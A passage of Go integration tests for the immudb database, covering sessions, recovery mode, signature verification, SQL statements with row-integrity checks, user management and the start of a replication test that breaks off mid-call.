pkg/integration/server_recovery_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package integration import ( "testing" "time" "github.com/codenotary/immudb/pkg/server" "github.com/stretchr/testify/require" ) func TestServerRecovertMode(t *testing.T) { dir := t.TempDir() serverOptions := server.DefaultOptions(). WithDir(dir). WithMetricsServer(false). WithPgsqlServer(false). WithMaintenance(true). WithAuth(true). WithPort(0) s := server.DefaultServer().WithOptions(serverOptions).(*server.ImmuServer) err := s.Initialize() require.ErrorIs(t, err, server.ErrAuthMustBeDisabled) serverOptions = server.DefaultOptions(). WithDir(dir). WithMetricsServer(false). WithPgsqlServer(false). WithMaintenance(true). WithAuth(false). WithPort(0) s = server.DefaultServer().WithOptions(serverOptions).(*server.ImmuServer) err = s.Initialize() require.NoError(t, err) go func() { s.Start() }() time.Sleep(1 * time.Second) err = s.Stop() require.NoError(t, err) } ================================================ FILE: pkg/integration/session_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package integration import ( "context" "fmt" "math/rand" "sync" "testing" "time" "github.com/codenotary/immudb/embedded/store" "github.com/codenotary/immudb/pkg/api/schema" ic "github.com/codenotary/immudb/pkg/client" "github.com/codenotary/immudb/pkg/server" "github.com/codenotary/immudb/pkg/server/servertest" "github.com/codenotary/immudb/pkg/server/sessions" "github.com/stretchr/testify/require" "google.golang.org/grpc" "google.golang.org/grpc/credentials/insecure" "google.golang.org/protobuf/types/known/emptypb" ) func TestSession_OpenCloseSession(t *testing.T) { _, client, _ := setupTestServerAndClient(t) err := client.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), "defaultdb") require.ErrorIs(t, err, ic.ErrSessionAlreadyOpen) client.Set(context.Background(), []byte("myKey"), []byte("myValue")) err = client.CloseSession(context.Background()) require.NoError(t, err) err = client.CloseSession(context.Background()) require.Error(t, err) err = client.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), "defaultdb") require.NoError(t, err) client.GetServiceClient().KeepAlive(context.Background(), &emptypb.Empty{}) require.NoError(t, err) entry, err := client.Get(context.Background(), []byte("myKey")) require.NoError(t, err) require.NotNil(t, entry) require.Equal(t, []byte("myValue"), entry.Value) err = client.CloseSession(context.Background()) require.NoError(t, err) t.Run("Lowercase Database Name", func(t *testing.T) { err = client.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), "DeFaulTDb") require.NoError(t, err) err = client.CloseSession(context.Background()) require.NoError(t, err) }) } func TestSession_OpenCloseSessionMulti(t *testing.T) { sessOptions := sessions.DefaultOptions(). WithSessionGuardCheckInterval(time.Millisecond * 100). WithMaxSessionInactivityTime(time.Millisecond * 2000). WithMaxSessionAgeTime(time.Millisecond * 4000). WithTimeout(time.Millisecond * 2000) options := server.DefaultOptions(). WithDir(t.TempDir()). WithSessionOptions(sessOptions). WithWebServer(false). WithPgsqlServer(false) bs := servertest.NewBufconnServer(options) err := bs.Start() require.NoError(t, err) defer bs.Stop() wg := sync.WaitGroup{} for i := 0; i < store.DefaultMaxConcurrency; i++ { wg.Add(1) go func(i int) { defer wg.Done() client := ic.NewClient().WithOptions(ic. DefaultOptions(). WithDir(t.TempDir()). WithDialOptions([]grpc.DialOption{grpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials())}). WithHeartBeatFrequency(time.Millisecond * 100), ) err := client.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), "defaultdb") require.NoError(t, err) min := 10 max := 100 time.Sleep(time.Millisecond * time.Duration(rand.Intn(max-min)+min)) _, err = client.Set(context.Background(), []byte(fmt.Sprintf("%d", i)), []byte(fmt.Sprintf("%d", i))) require.NoError(t, err) err = client.CloseSession(context.Background()) require.NoError(t, err) }(i) } wg.Wait() require.Equal(t, 0, bs.Server.Srv.SessManager.SessionCount()) } func TestSession_OpenSessionNotConnected(t *testing.T) { client := ic.NewClient() err := client.CloseSession(context.Background()) require.ErrorIs(t, ic.ErrNotConnected, err) } func TestSession_ExpireSessions(t *testing.T) { sessOptions := sessions.DefaultOptions(). WithSessionGuardCheckInterval(time.Millisecond * 100). WithMaxSessionInactivityTime(time.Millisecond * 200). WithMaxSessionAgeTime(time.Millisecond * 900). WithTimeout(time.Millisecond * 100) options := server.DefaultOptions(). WithDir(t.TempDir()). WithSessionOptions(sessOptions) bs := servertest.NewBufconnServer(options) err := bs.Start() require.NoError(t, err) defer bs.Stop() rand.Seed(time.Now().UnixNano()) wg := sync.WaitGroup{} for i := 1; i <= 100; i++ { wg.Add(1) go func() { defer wg.Done() client := ic.NewClient().WithOptions(ic. DefaultOptions(). WithDir(t.TempDir()). WithDialOptions([]grpc.DialOption{grpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials())}), ) err := client.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), "defaultdb") require.NoError(t, err) tx, err := client.NewTx(context.Background()) require.NoError(t, err) time.Sleep(time.Millisecond * time.Duration(rand.Intn(1000))) th, err := tx.Commit(context.Background()) require.NoError(t, err) require.Nil(t, th.Header) require.Equal(t, uint32(0), th.UpdatedRows) err = client.CloseSession(context.Background()) require.NoError(t, err) }() } wg.Wait() } func TestSession_CreateDBFromSQLStmts(t *testing.T) { _, client, ctx := setupTestServerAndClient(t) _, err := client.SQLExec(ctx, ` CREATE DATABASE db1; USE db1; BEGIN TRANSACTION; CREATE TABLE table1(id INTEGER AUTO_INCREMENT, title VARCHAR, PRIMARY KEY id); INSERT INTO table1(title) VALUES ('title1'), ('title2'); COMMIT; `, nil) require.NoError(t, err) err = client.CloseSession(context.Background()) require.NoError(t, err) } func TestSession_ListUSersFromSQLStmts(t *testing.T) { _, client, ctx := setupTestServerAndClient(t) _, err := client.SQLExec(ctx, "CREATE DATABASE db1", nil) require.NoError(t, err) err = client.CreateUser(ctx, []byte("user1"), []byte("user1Password!"), 1, "defaultdb") require.NoError(t, err) err = client.CreateUser(ctx, []byte("user2"), []byte("user2Password!"), 1, "defaultdb") require.NoError(t, err) err = client.CreateUser(ctx, []byte("user3"), []byte("user3Password!"), 1, "db1") require.NoError(t, err) err = client.SetActiveUser(ctx, &schema.SetActiveUserRequest{Username: "user2", Active: false}) require.NoError(t, err) res, err := client.SQLQuery(ctx, "SHOW USERS", nil, false) require.NoError(t, err) require.Len(t, res.Rows, 2) err = client.CloseSession(context.Background()) require.NoError(t, err) } ================================================ FILE: pkg/integration/signature_verifier_interceptor_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package integration import ( "context" "testing" "github.com/codenotary/immudb/pkg/api/schema" ic "github.com/codenotary/immudb/pkg/client" "github.com/codenotary/immudb/pkg/server" "github.com/codenotary/immudb/pkg/signer" "github.com/golang/protobuf/ptypes/empty" "github.com/stretchr/testify/require" "google.golang.org/grpc" ) func TestSignatureVerifierInterceptor(t *testing.T) { pk, err := signer.ParsePublicKeyFile("./../../test/signer/ec1.pub") require.NoError(t, err) c := ic.NewClient().WithServerSigningPubKey(pk) // creation and state sign state := &schema.ImmutableState{ TxId: 0, TxHash: []byte(`hash`), } sig, err := signer.NewSigner("./../../test/signer/ec1.key") require.NoError(t, err) stSig := server.NewStateSigner(sig) err = stSig.Sign(state) require.NoError(t, err) invoker := func(ctx context.Context, method string, req, reply interface{}, cc *grpc.ClientConn, opts ...grpc.CallOption) error { return nil } err = c.SignatureVerifierInterceptor(context.Background(), "/immudb.schema.ImmuService/CurrentState", &empty.Empty{}, state, nil, invoker, nil) require.NoError(t, err) } func TestSignatureVerifierInterceptorUnableToVerify(t *testing.T) { pk, err := signer.ParsePublicKeyFile("./../../test/signer/ec1.pub") require.NoError(t, err) c := ic.NewClient().WithServerSigningPubKey(pk) // creation and state sign state := &schema.ImmutableState{ TxId: 0, TxHash: []byte(`hash`), Signature: &schema.Signature{ PublicKey: []byte(`test`), Signature: []byte(`boom`), }, } invoker := func(ctx context.Context, method string, req, reply interface{}, cc *grpc.ClientConn, opts ...grpc.CallOption) error { return nil } err = c.SignatureVerifierInterceptor(context.Background(), "/immudb.schema.ImmuService/CurrentState", &empty.Empty{}, state, nil, invoker, nil) require.ErrorContains(t, err, "unable to verify signature") } func TestSignatureVerifierInterceptorSignatureDoesntMatch(t *testing.T) { pk, err := signer.ParsePublicKeyFile("./../../test/signer/ec1.pub") require.NoError(t, err) c := ic.NewClient().WithServerSigningPubKey(pk) // creation and state sign state := &schema.ImmutableState{ TxId: 0, TxHash: []byte(`hash`), } sig, err := signer.NewSigner("./../../test/signer/ec3.key") require.NoError(t, err) stSig := server.NewStateSigner(sig) err = stSig.Sign(state) require.NoError(t, err) invoker := func(ctx context.Context, method string, req, reply interface{}, cc *grpc.ClientConn, opts ...grpc.CallOption) error { return nil } err = c.SignatureVerifierInterceptor(context.Background(), "/immudb.schema.ImmuService/CurrentState", &empty.Empty{}, state, nil, invoker, nil) require.ErrorContains(t, err, signer.ErrKeyCannotBeVerified.Error()) } func TestSignatureVerifierInterceptorNoPublicKey(t *testing.T) { c := ic.NewClient().WithServerSigningPubKey(nil) // creation and state sign state := &schema.ImmutableState{ TxId: 0, TxHash: []byte(`hash`), } invoker := func(ctx context.Context, method string, req, reply interface{}, cc *grpc.ClientConn, opts ...grpc.CallOption) error { return nil } err := c.SignatureVerifierInterceptor(context.Background(), "/immudb.schema.ImmuService/CurrentState", &empty.Empty{}, state, nil, invoker, nil) require.ErrorContains(t, err, "public key not loaded") } ================================================ FILE: pkg/integration/sql/sql_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package integration import ( "context" "encoding/json" "fmt" "testing" "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/pkg/api/schema" ic "github.com/codenotary/immudb/pkg/client" "github.com/codenotary/immudb/pkg/database" "github.com/codenotary/immudb/pkg/server" "github.com/codenotary/immudb/pkg/server/servertest" "github.com/stretchr/testify/require" ) func TestImmuClient_SQL(t *testing.T) { options := server.DefaultOptions(). WithDir(t.TempDir()). WithAuth(true). WithSigningKey("./../../../test/signer/ec1.key") bs := servertest.NewBufconnServer(options) bs.Start() defer bs.Stop() client, err := bs.NewAuthenticatedClient(ic. DefaultOptions(). WithDir(t.TempDir()). WithServerSigningPubKey("./../../../test/signer/ec1.pub"), ) require.NoError(t, err) defer client.CloseSession(context.Background()) ctx := context.Background() _, err = client.SQLExec(ctx, ` CREATE TABLE table1( id INTEGER, title VARCHAR, active BOOLEAN, payload BLOB, PRIMARY KEY id );`, nil) require.NoError(t, err) params := make(map[string]interface{}) params["id"] = 1 params["title"] = "title1" params["active"] = true params["payload"] = []byte{1, 2, 3} t.Run("insert with params", func(t *testing.T) { _, err := client.SQLExec(ctx, ` INSERT INTO table1(id, title, active, payload) VALUES (@id, @title, @active, @payload), (2, 'title2', false, NULL), (3, NULL, NULL, x'AED0393F') `, params) require.NoError(t, err) }) t.Run("verify row", func(t *testing.T) { res, err := client.SQLQuery(ctx, ` SELECT t.id as id, title FROM table1 t WHERE id <= 3 AND active = @active `, params, true) require.NoError(t, err) require.NotNil(t, res) for _, row := range res.Rows { err := client.VerifyRow(ctx, row, "table1", []*schema.SQLValue{row.Values[0]}) require.ErrorIs(t, err, sql.ErrColumnDoesNotExist) } for i := len(res.Rows); i > 0; i-- { row := res.Rows[i-1] err := client.VerifyRow(ctx, row, "table1", []*schema.SQLValue{row.Values[0]}) require.ErrorIs(t, err, sql.ErrColumnDoesNotExist) } res, err = client.SQLQuery(ctx, ` SELECT id, title, active, payload FROM table1 WHERE id <= 3 AND active = @active `, params, true) require.NoError(t, err) require.NotNil(t, res) for _, row := range res.Rows { err := client.VerifyRow(ctx, row, "table1", []*schema.SQLValue{row.Values[0]}) require.NoError(t, err) row.Values[1].Value = &schema.SQLValue_S{S: "tampered title"} err = client.VerifyRow(ctx, row, "table1", []*schema.SQLValue{row.Values[0]}) require.ErrorIs(t, err, sql.ErrCorruptedData) } res, err = client.SQLQuery(ctx, "SELECT id, active FROM table1", nil, true) require.NoError(t, err) require.NotNil(t, res) for _, row := range res.Rows { err := client.VerifyRow(ctx, row, "table1", []*schema.SQLValue{row.Values[0]}) require.NoError(t, err) } res, err = client.SQLQuery(ctx, "SELECT active FROM table1 WHERE id = 1", nil, true) require.NoError(t, err) require.NotNil(t, res) for _, row := range res.Rows { err := client.VerifyRow(ctx, row, "table1", []*schema.SQLValue{{Value: &schema.SQLValue_N{N: 1}}}) require.NoError(t, err) } }) t.Run("list tables", func(t *testing.T) { res, err := client.ListTables(ctx) require.NoError(t, err) require.NotNil(t, res) require.Len(t, res.Rows, 1) require.Len(t, res.Columns, 1) require.Equal(t, "VARCHAR", res.Columns[0].Type) require.Equal(t, "TABLE", res.Columns[0].Name) require.Equal(t, "table1", res.Rows[0].Values[0].GetS()) res, err = client.DescribeTable(ctx, "table1") require.NoError(t, err) require.NotNil(t, res) require.Equal(t, "COLUMN", res.Columns[0].Name) require.Equal(t, "VARCHAR", res.Columns[0].Type) colsCheck := map[string]bool{ "id": false, "title": false, "active": false, "payload": false, } require.Len(t, res.Rows, len(colsCheck)) for _, row := range res.Rows { colsCheck[row.Values[0].GetS()] = true } for c, found := range colsCheck { require.True(t, found, c) } }) t.Run("upsert", func(t *testing.T) { tx2, err := client.SQLExec(ctx, ` UPSERT INTO table1(id, title, active, payload) VALUES (2, 'title2-updated', false, NULL) `, nil) require.NoError(t, err) require.NotNil(t, tx2) res, err := client.SQLQuery(ctx, "SELECT title FROM table1 WHERE id=2", nil, true) require.NoError(t, err) require.Equal(t, "title2-updated", res.Rows[0].Values[0].GetS()) res, err = client.SQLQuery(ctx, fmt.Sprintf(` SELECT title FROM table1 BEFORE TX %d WHERE id=2 `, tx2.Txs[0].Header.Id), nil, true) require.NoError(t, err) require.Equal(t, "title2", res.Rows[0].Values[0].GetS()) }) t.Run("verify row after alter table", func(t *testing.T) { t.Run("not a primary key", func(t *testing.T) { _, err := client.SQLExec(ctx, ` ALTER TABLE table1 RENAME COLUMN title TO title2 `, nil) require.NoError(t, err) res, err := client.SQLQuery(ctx, "SELECT id, active, title2 FROM table1", nil, true) require.NoError(t, err) require.NotNil(t, res) for _, row := range res.Rows { err := client.VerifyRow(ctx, row, "table1", []*schema.SQLValue{row.Values[0]}) require.NoError(t, err) } }) t.Run("primary key", func(t *testing.T) { _, err := client.SQLExec(ctx, ` ALTER TABLE table1 RENAME COLUMN id TO id2 `, nil) require.NoError(t, err) res, err := client.SQLQuery(ctx, "SELECT id2, active, title2 FROM table1", nil, true) require.NoError(t, err) require.NotNil(t, res) for _, row := range res.Rows { err := client.VerifyRow(ctx, row, "table1", []*schema.SQLValue{row.Values[0]}) require.NoError(t, err) } }) t.Run("add column", func(t *testing.T) { _, err := client.SQLExec(ctx, ` ALTER TABLE table1 ADD COLUMN id INTEGER `, nil) require.NoError(t, err) _, err = client.SQLExec(ctx, ` INSERT INTO table1(id2, id, active, title2) VALUES(4, 44, false, 'new row') `, nil) require.NoError(t, err) res, err := client.SQLQuery(ctx, "SELECT id2, id, active, title2 FROM table1", nil, true) require.NoError(t, err) require.NotNil(t, res) for _, row := range res.Rows { err := client.VerifyRow(ctx, row, "table1", []*schema.SQLValue{row.Values[0]}) require.NoError(t, err) } }) t.Run("drop column", func(t *testing.T) { _, err := client.SQLExec(ctx, ` ALTER TABLE table1 DROP COLUMN id `, nil) require.NoError(t, err) res, err := client.SQLQuery(ctx, "SELECT id2, active, title2 FROM table1", nil, true) require.NoError(t, err) require.NotNil(t, res) for _, row := range res.Rows { err := client.VerifyRow(ctx, row, "table1", []*schema.SQLValue{row.Values[0]}) require.NoError(t, err) } }) }) } func TestImmuClient_SQLQueryReader(t *testing.T) { options := server.DefaultOptions().WithDir(t.TempDir()).WithMaxResultSize(2) bs := servertest.NewBufconnServer(options) bs.Start() defer bs.Stop() ctx := context.Background() client, err := bs.NewAuthenticatedClient(ic.DefaultOptions().WithDir(t.TempDir())) require.NoError(t, err) defer client.CloseSession(ctx) _, err = client.SQLExec(ctx, ` CREATE TABLE test_table ( id INTEGER AUTO_INCREMENT, value INTEGER, data JSON, PRIMARY KEY (id) ); `, nil) require.NoError(t, err) for n := 0; n < 10; n++ { name := fmt.Sprintf("name%d", n) _, err := client.SQLExec( ctx, "INSERT INTO test_table(value, data) VALUES (@value, @data)", map[string]interface{}{ "value": n + 10, "data": fmt.Sprintf(`{"name": "%s"}`, name), }) require.NoError(t, err) } reader, err := client.SQLQueryReader(ctx, "SELECT * FROM test_table WHERE value < 0", nil) require.NoError(t, err) _, err = reader.Read() require.Error(t, err) require.False(t, reader.Next()) _, err = reader.Read() require.ErrorIs(t, err, sql.ErrNoMoreRows) _, err = client.SQLQuery(ctx, "SELECT * FROM test_table", nil, false) require.ErrorContains(t, err, database.ErrResultSizeLimitReached.Error()) reader, err = client.SQLQueryReader(ctx, "SELECT * FROM test_table", nil) require.NoError(t, err) cols := reader.Columns() require.Equal(t, cols[0].Name, "(test_table.id)") require.Equal(t, cols[0].Type, sql.IntegerType) require.Equal(t, cols[1].Name, "(test_table.value)") require.Equal(t, cols[1].Type, sql.IntegerType) require.Equal(t, cols[2].Name, "(test_table.data)") require.Equal(t, cols[2].Type, sql.JSONType) n := 0 for reader.Next() { row, err := reader.Read() require.NoError(t, err) require.Len(t, row, 3) name := fmt.Sprintf("name%d", n) var data interface{} err = json.Unmarshal([]byte(row[2].(string)), &data) require.NoError(t, err) require.Equal(t, int64(n+1), row[0]) require.Equal(t, int64(n+10), row[1]) require.Equal(t, map[string]interface{}{"name": name}, data) n++ } require.Equal(t, n, 10) require.NoError(t, reader.Close()) require.ErrorIs(t, reader.Close(), sql.ErrAlreadyClosed) reader, err = client.SQLQueryReader(ctx, "SELECT * FROM test_table", nil) require.NoError(t, err) require.True(t, reader.Next()) require.NoError(t, reader.Close()) require.False(t, reader.Next()) row, err := reader.Read() require.Nil(t, row) require.ErrorIs(t, err, sql.ErrAlreadyClosed) } func TestImmuClient_SQL_UserStmts(t *testing.T) { options := server.DefaultOptions().WithDir(t.TempDir()) bs := servertest.NewBufconnServer(options) bs.Start() defer bs.Stop() client, err := bs.NewAuthenticatedClient(ic.DefaultOptions().WithDir(t.TempDir())) require.NoError(t, err) defer client.CloseSession(context.Background()) users, err := client.SQLQuery(context.Background(), "SHOW USERS", nil, true) require.NoError(t, err) require.Len(t, users.Rows, 1) _, err = client.SQLExec(context.Background(), "CREATE USER user1 WITH PASSWORD 'user1Password!' READWRITE", nil) require.NoError(t, err) _, err = client.SQLExec(context.Background(), "CREATE USER user2 WITH PASSWORD 'user2Password!' READ", nil) require.NoError(t, err) _, err = client.SQLExec(context.Background(), "CREATE USER user3 WITH PASSWORD 'user3Password!' ADMIN", nil) require.NoError(t, err) users, err = client.SQLQuery(context.Background(), "SHOW USERS", nil, true) require.NoError(t, err) require.Len(t, users.Rows, 4) user1Client := bs.NewClient(ic.DefaultOptions()) err = user1Client.OpenSession( context.Background(), []byte("user1"), []byte("user1Password!"), "defaultdb", ) require.NoError(t, err) err = user1Client.CloseSession(context.Background()) require.NoError(t, err) _, err = client.SQLExec(context.Background(), "ALTER USER user1 WITH PASSWORD 'user1Password!!' READ", nil) require.NoError(t, err) err = user1Client.OpenSession( context.Background(), []byte("user1"), []byte("user1Password!"), "defaultdb", ) require.ErrorContains(t, err, "invalid user name or password") err = user1Client.OpenSession( context.Background(), []byte("user1"), []byte("user1Password!!"), "defaultdb", ) require.NoError(t, err) err = user1Client.CloseSession(context.Background()) require.NoError(t, err) _, err = client.SQLExec(context.Background(), "ALTER USER user1 WITH PASSWORD 'user1Password!!' READWRITE", nil) require.NoError(t, err) users, err = client.SQLQuery(context.Background(), "SHOW USERS", nil, true) require.NoError(t, err) require.Len(t, users.Rows, 4) _, err = client.SQLExec(context.Background(), "DROP USER user1", nil) require.NoError(t, err) users, err = client.SQLQuery(context.Background(), "SHOW USERS", nil, true) require.NoError(t, err) require.Len(t, users.Rows, 3) err = user1Client.OpenSession( context.Background(), []byte("user1"), []byte("user1Password!!"), "defaultdb", ) require.ErrorContains(t, err, "user is not active") _, err = client.SQLExec(context.Background(), "CREATE USER user2 WITH PASSWORD 'user2Password!' READWRITE", nil) require.ErrorContains(t, err, "user already exists") _, err = client.SQLExec(context.Background(), "ALTER USER user4 WITH PASSWORD 'user4Password!!' READWRITE", nil) require.ErrorContains(t, err, "not found") _, err = user1Client.SQLExec(context.Background(), "SHOW USERS", nil) require.ErrorContains(t, err, "not connected") _, err = user1Client.SQLExec(context.Background(), "CREATE USER user4 WITH PASSWORD 'user4Password!' READWRITE", nil) require.ErrorContains(t, err, "not connected") _, err = user1Client.SQLExec(context.Background(), "ALTER USER user4 WITH PASSWORD 'user4Password!!' READWRITE", nil) require.ErrorContains(t, err, "not connected") _, err = user1Client.SQLExec(context.Background(), "DROP USER user3", nil) require.ErrorContains(t, err, "not connected") } func TestImmuClient_SQL_Errors(t *testing.T) { options := server.DefaultOptions().WithDir(t.TempDir()) bs := servertest.NewBufconnServer(options) bs.Start() defer bs.Stop() client, err := bs.NewAuthenticatedClient(ic.DefaultOptions().WithDir(t.TempDir())) require.NoError(t, err) defer client.CloseSession(context.Background()) _, err = client.SQLExec(context.Background(), "", map[string]interface{}{ "param1": struct{}{}, }) require.ErrorIs(t, err, sql.ErrInvalidValue) _, err = client.SQLQuery(context.Background(), "", map[string]interface{}{ "param1": struct{}{}, }, false) require.ErrorIs(t, err, sql.ErrInvalidValue) err = client.VerifyRow(context.Background(), &schema.Row{ Columns: []string{"col1"}, Values: []*schema.SQLValue{}, }, "table1", []*schema.SQLValue{{Value: &schema.SQLValue_N{N: 1}}}) require.ErrorIs(t, err, sql.ErrCorruptedData) err = client.VerifyRow(context.Background(), nil, "", nil) require.ErrorIs(t, err, ic.ErrIllegalArguments) t.Run("sql operations should fail with a cancelled context", func(t *testing.T) { ctx, cancel := context.WithCancel(context.Background()) cancel() _, err := client.SQLExec(ctx, "BEGIN TRANSACTION; COMMIT;", nil) require.Contains(t, err.Error(), context.Canceled.Error()) _, err = client.SQLQuery(ctx, "SELECT * FROM table1", nil, true) require.Contains(t, err.Error(), context.Canceled.Error()) }) err = client.Disconnect() require.NoError(t, err) _, err = client.SQLExec(context.Background(), "", nil) require.ErrorIs(t, err, ic.ErrNotConnected) _, err = client.SQLQuery(context.Background(), "", nil, false) require.ErrorIs(t, err, ic.ErrNotConnected) _, err = client.ListTables(context.Background()) require.ErrorIs(t, err, ic.ErrNotConnected) _, err = client.DescribeTable(context.Background(), "") require.ErrorIs(t, err, ic.ErrNotConnected) err = client.VerifyRow(context.Background(), &schema.Row{ Columns: []string{"col1"}, Values: []*schema.SQLValue{{Value: &schema.SQLValue_N{N: 1}}}, }, "table1", []*schema.SQLValue{{Value: &schema.SQLValue_N{N: 1}}}) require.ErrorIs(t, err, ic.ErrNotConnected) } func TestQueryTxMetadata(t *testing.T) { options := server.DefaultOptions(). WithDir(t.TempDir()). WithLogRequestMetadata(true) bs := servertest.NewBufconnServer(options) bs.Start() defer bs.Stop() client, err := bs.NewAuthenticatedClient(ic.DefaultOptions().WithDir(t.TempDir())) require.NoError(t, err) defer client.CloseSession(context.Background()) _, err = client.SQLExec( context.Background(), `CREATE TABLE mytable( id INTEGER, data JSON, PRIMARY KEY (id) )`, nil, ) require.NoError(t, err) _, err = client.SQLExec( context.Background(), `INSERT INTO mytable(id, data) VALUES (1, '{"name": "John Doe"}')`, nil, ) require.NoError(t, err) it, err := client.SQLQueryReader( context.Background(), "SELECT _tx_metadata FROM mytable", nil, ) require.NoError(t, err) require.True(t, it.Next()) row, err := it.Read() require.NoError(t, err) var md map[string]interface{} err = json.Unmarshal([]byte(row[0].(string)), &md) require.NoError(t, err) require.Equal( t, map[string]interface{}{"usr": "immudb", "ip": "bufconn"}, md, ) } ================================================ FILE: pkg/integration/sql_types_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package integration import ( "fmt" "testing" "time" "github.com/codenotary/immudb/pkg/api/schema" "github.com/stretchr/testify/require" ) func TestVerifyRowForColumnTypes(t *testing.T) { _, cli, ctx := setupTestServerAndClient(t) for i, d := range []struct { t string v interface{} vs string cv schema.SqlValue }{ {"INTEGER", nil, "NULL", &schema.SQLValue_Null{}}, {"INTEGER", 79, "79", &schema.SQLValue_N{N: 79}}, {"VARCHAR", nil, "NULL", &schema.SQLValue_Null{}}, {"VARCHAR", "abcd", "'abcd'", &schema.SQLValue_S{S: "abcd"}}, {"BOOLEAN", nil, "NULL", &schema.SQLValue_Null{}}, {"BOOLEAN", true, "TRUE", &schema.SQLValue_B{B: true}}, {"BLOB", nil, "NULL", &schema.SQLValue_Null{}}, {"BLOB", []byte{0xab, 0xcd, 0xef}, "x'ABCDEF'", &schema.SQLValue_Bs{Bs: []byte{0xab, 0xcd, 0xef}}}, {"TIMESTAMP", nil, "NULL", &schema.SQLValue_Null{}}, {"TIMESTAMP", time.Unix(1234, 0), "CAST(1234 AS TIMESTAMP)", &schema.SQLValue_Ts{Ts: 1234000000}}, {"FLOAT", nil, "NULL", &schema.SQLValue_Null{}}, {"FLOAT", 12.3456, "12.3456", &schema.SQLValue_F{F: 12.3456}}, } { t.Run(fmt.Sprintf("%d %+v", i, d), func(t *testing.T) { tab := fmt.Sprintf("table_%d", i) t.Run("create table", func(t *testing.T) { _, err := cli.SQLExec(ctx, fmt.Sprintf(` CREATE TABLE %s( id INTEGER AUTO_INCREMENT, val %s, PRIMARY KEY (id) ) `, tab, d.t), nil) require.NoError(t, err) }) t.Run("insert with value in query string", func(t *testing.T) { _, err := cli.SQLExec(ctx, fmt.Sprintf(` INSERT INTO %s(val) VALUES (%s) `, tab, d.vs), nil) require.NoError(t, err) }) t.Run("insert with value in query parameter", func(t *testing.T) { _, err := cli.SQLExec(ctx, fmt.Sprintf(` INSERT INTO %s(val) VALUES (@val) `, tab), map[string]interface{}{ "val": d.v, }) require.NoError(t, err) }) t.Run("query and verify", func(t *testing.T) { res, err := cli.SQLQuery(ctx, fmt.Sprintf(` SELECT id, val FROM %s `, tab), nil, false) require.NoError(t, err) require.Len(t, res.Rows, 2) for _, row := range res.Rows { err = cli.VerifyRow(ctx, row, tab, []*schema.SQLValue{row.Values[0]}) require.NoError(t, err) require.Equal(t, d.cv, row.Values[1].Value) } }) }) } } ================================================ FILE: pkg/integration/stream/stream_replication_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package integration import ( "context" "io" "strconv" "testing" "github.com/codenotary/immudb/pkg/api/schema" ic "github.com/codenotary/immudb/pkg/client" "github.com/codenotary/immudb/pkg/server" "github.com/codenotary/immudb/pkg/server/servertest" "github.com/stretchr/testify/require" "google.golang.org/grpc" "google.golang.org/grpc/credentials/insecure" "google.golang.org/grpc/metadata" ) func TestImmuClient_ExportAndReplicateTx(t *testing.T) { options := server.DefaultOptions().WithDir(t.TempDir()) bs := servertest.NewBufconnServer(options) bs.Start() defer bs.Stop() cliOpts := ic. DefaultOptions(). WithDir(t.TempDir()). WithDialOptions([]grpc.DialOption{grpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials())}) client := ic.NewClient().WithOptions(cliOpts) err := client.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), "defaultdb") require.NoError(t, err) defer client.CloseSession(context.Background()) _, err = client.ExportTx(context.Background(), nil) require.Equal(t, ic.ErrIllegalArguments, err) hdr, err := client.Set(context.Background(), []byte("key1"), []byte("value1")) require.NoError(t, err) _, err = client.CreateDatabaseV2(context.Background(), "replicateddb", &schema.DatabaseNullableSettings{ ReplicationSettings: &schema.ReplicationNullableSettings{ Replica: &schema.NullableBool{Value: true}, }, }) require.NoError(t, err) rclient := ic.NewClient().WithOptions(cliOpts) err = rclient.OpenSession(context.Background(), []byte(`immudb`), 